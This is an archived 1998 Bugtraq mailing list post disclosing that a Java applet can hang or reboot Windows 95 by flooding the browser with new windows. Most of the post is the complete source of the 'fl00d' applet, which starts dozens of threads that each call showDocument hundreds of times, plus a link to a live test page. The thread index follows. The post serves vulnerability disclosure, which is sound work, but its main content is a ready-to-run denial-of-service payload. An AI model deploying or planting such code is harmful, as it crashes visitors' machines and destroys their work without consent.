Bugtraq mailing list archives
Java reboots win95
From: nak () GEOCITIES COM (Joe Lindstr?m)
Date: Sat, 17 Jan 1998 11:33:44 +0100
Java applets causes win95 to reboot ----------------------------------- (If this is known stuff, i appologize) I have successfully been able to reboot several win95 machines with a simple java applet. All the applet does is to try and load new browsers with the showDocument(url, target) function. When trying this on IE3 i only needed one loop with showDocument to make everything freeze, with 10 threads all doing the same thing my computer immediately rebooted after initializing the applets. In IE4 and Netscape you need more threads, and i also used a web page with more applets running at the same time. They have the same effect though, it either hangs or reboots. I have only tried this with relatively slow computers, but my guess is that if you add more threads to each applet or more applets to each webpage more powerful computers will be effected too (if they aren't already). If you want to see if your computer is vulnerable go to http://home1.swipnet.se/~w-10867/fork/fl00d.htm this one messes up my p166, 16M ram for sure. Here's the source... (it could probably be improved alot by a *real* java programmer) Thnx to "Chase" for testing... ------------------------------------------------------------------- // fl00d.class - floods your machine with browsers and eventually // hangs it. Code written by Joe Lindström. // Really sorry about all the unrolled loops, i'm too lazy to // clean it up. import java.applet.Applet; import java.net.URL; import java.net.MalformedURLException; public class fl00d extends Applet implements Runnable{ URL address; Thread t1, t2, t3, t4, t5, t6, t7, t8, t9, t10, t11, t12, t13, t14, t15, t16, t17, t18, t19, bt1, bt2, bt3, bt4, bt5, bt6, bt7, bt8, bt9, bt10, bt11, bt12, bt13, bt14, bt15, bt16, bt17, bt18, bt19, wt1, wt2, wt3, wt4, wt5, wt6, wt7, wt8, wt9, wt10, wt11, wt12, wt13, wt14, wt15, wt16, wt17, wt18, wt19, wbt1, wbt2, wbt3, wbt4, wbt5, wbt6, wbt7, wbt8, wbt9, wbt10, wbt11, wbt12, wbt13, wbt14, wbt15, wbt16, wbt17, wbt18, wbt19; public void init(){ try { address = new URL("http://fl00d.fl00d.fl00d"); }catch(MalformedURLException e) { } } public void start(){ t1 = new Thread(this); t2 = new Thread(this); t3 = new Thread(this); t4 = new Thread(this); t5 = new Thread(this); t6 = new Thread(this); t7 = new Thread(this); t8 = new Thread(this); t9 = new Thread(this); t10 = new Thread(this); t11 = new Thread(this); t12 = new Thread(this); t13 = new Thread(this); t14 = new Thread(this); t15 = new Thread(this); t16 = new Thread(this); t17 = new Thread(this); t18 = new Thread(this); t19 = new Thread(this); bt1 = new Thread(this); bt2 = new Thread(this); bt3 = new Thread(this); bt4 = new Thread(this); bt5 = new Thread(this); bt6 = new Thread(this); bt7 = new Thread(this); bt8 = new Thread(this); bt9 = new Thread(this); bt10 = new Thread(this); bt11 = new Thread(this); bt12 = new Thread(this); bt13 = new Thread(this); bt14 = new Thread(this); bt15 = new Thread(this); bt16 = new Thread(this); bt17 = new Thread(this); bt18 = new Thread(this); bt19 = new Thread(this); wt1 = new Thread(this); wt2 = new Thread(this); wt3 = new Thread(this); wt4 = new Thread(this); wt5 = new Thread(this); wt6 = new Thread(this); wt7 = new Thread(this); wt8 = new Thread(this); wt9 = new Thread(this); wt10 = new Thread(this); wt11 = new Thread(this); wt12 = new Thread(this); wt13 = new Thread(this); wt14 = new Thread(this); wt15 = new Thread(this); wt16 = new Thread(this); wt17 = new Thread(this); wt18 = new Thread(this); wt19 = new Thread(this); wbt1 = new Thread(this); wbt2 = new Thread(this); wbt3 = new Thread(this); wbt4 = new Thread(this); wbt5 = new Thread(this); wbt6 = new Thread(this); wbt7 = new Thread(this); wbt8 = new Thread(this); wbt9 = new Thread(this); wbt10 = new Thread(this); wbt11 = new Thread(this); wbt12 = new Thread(this); wbt13 = new Thread(this); wbt14 = new Thread(this); wbt15 = new Thread(this); wbt16 = new Thread(this); wbt17 = new Thread(this); wbt18 = new Thread(this); wbt19 = new Thread(this); t1.start(); t2.start(); t3.start(); t4.start(); t5.start(); t6.start(); t7.start(); t8.start(); t9.start(); t10.start(); t11.start(); t12.start(); t13.start(); t14.start(); t15.start(); t16.start(); t17.start(); t18.start(); t19.start(); bt1.start(); bt2.start(); bt3.start(); bt4.start(); bt5.start(); bt6.start(); bt7.start(); bt8.start(); bt9.start(); bt10.start(); bt11.start(); bt12.start(); bt13.start(); bt14.start(); bt15.start(); bt16.start(); bt17.start(); bt18.start(); bt19.start(); wt1.start(); wt2.start(); wt3.start(); wt4.start(); wt5.start(); wt6.start(); wt7.start(); wt8.start(); wt9.start(); wt10.start(); wt11.start(); wt12.start(); wt13.start(); wt14.start(); wt15.start(); wt16.start(); wt17.start(); wt18.start(); wt19.start(); wbt1.start(); wbt2.start(); wbt3.start(); wbt4.start(); wbt5.start(); wbt6.start(); wbt7.start(); wbt8.start(); wbt9.start(); wbt10.start(); wbt11.start(); wbt12.start(); wbt13.start(); bt14.start(); wbt15.start(); wbt16.start(); wbt17.start(); wbt18.start(); wbt19.start(); for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } public void stop(){ t1=null; t2=null; t3=null; t4=null; t5=null; t6=null; t7=null; t8=null; t9=null; t10=null; t11=null; t12=null; t13=null; t14=null; t15=null; t16=null; t17=null; t18=null; t19=null; bt1=null; bt2=null; bt3=null; bt4=null; bt5=null; bt6=null; bt7=null; bt8=null; bt9=null; bt10=null; bt11=null; bt12=null; bt13=null; bt14=null; bt15=null; bt16=null; bt17=null; bt18=null; bt19=null; wt1=null; wt2=null; wt3=null; wt4=null; wt5=null; wt6=null; wt7=null; wt8=null; wt9=null; wt10=null; wt11=null; wt12=null; wt13=null; wt14=null; wt15=null; wt16=null; wt17=null; wt18=null; wt19=null; wbt1=null; wbt2=null; wbt3=null; wbt4=null; wbt5=null; wbt6=null; wbt7=null; wbt8=null; wbt9=null; wbt10=null; wbt11=null; wbt12=null; wbt13=null; wbt14=null; wbt15=null; wbt16=null; wbt17=null; wbt18=null; wbt19=null; } public void run(){ while (Thread.currentThread() == t1){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t2){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t3){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t4){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t5){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t6){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t7){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t8){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t9){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t10){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t11){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t12){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t13){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t14){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t15){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t16){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t17){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t18){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == t19){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt1){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt2){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt3){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt4){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt5){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt6){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt7){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt8){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt9){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt10){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt11){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt12){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt13){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt14){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt15){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt16){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt17){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt18){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == bt19){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt1){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt2){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt3){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt4){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt5){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt6){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt7){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt8){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt9){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt10){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt11){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt12){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt13){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt14){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt15){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt16){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt17){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt18){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wt19){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt1){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt2){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt3){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt4){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt5){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt6){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt7){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt8){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt9){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt10){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt11){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt12){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt13){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt14){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt15){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt16){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt17){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt18){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } while (Thread.currentThread() == wbt19){ for (int i = 0; i < 666; i++) getAppletContext().showDocument(address, "_blank"); } } } ---------------------------------------------------------------------------------------- Joe Lindström, 17/1 -98
Current thread:
- Java reboots win95 Joe Lindstr?m (Jan 17)
- Re: Java reboots win95 David LeBlanc (Jan 17)
- GCC Exploit Phillip R. Jaenke (Jan 17)
- Security Problem in MH 6.8.4 Cesar Tascon Alvarez (Jan 19)
- Re: Security Problem in MH 6.8.4 mparson () SMARTNAP COM (Jan 19)
- Re: Security Problem in MH 6.8.4 Philip Guenther (Jan 20)
- Re: Security Problem in MH 6.8.4 Cy Schubert - ITSD Open Systems Group (Jan 20)
- Re: Security Problem in MH 6.8.4 Alan Cox (Jan 20)
- L0pht Security Advisory mattw (Jan 20)
- Re: Security Problem in MH 6.8.4 mparson () SMARTNAP COM (Jan 19)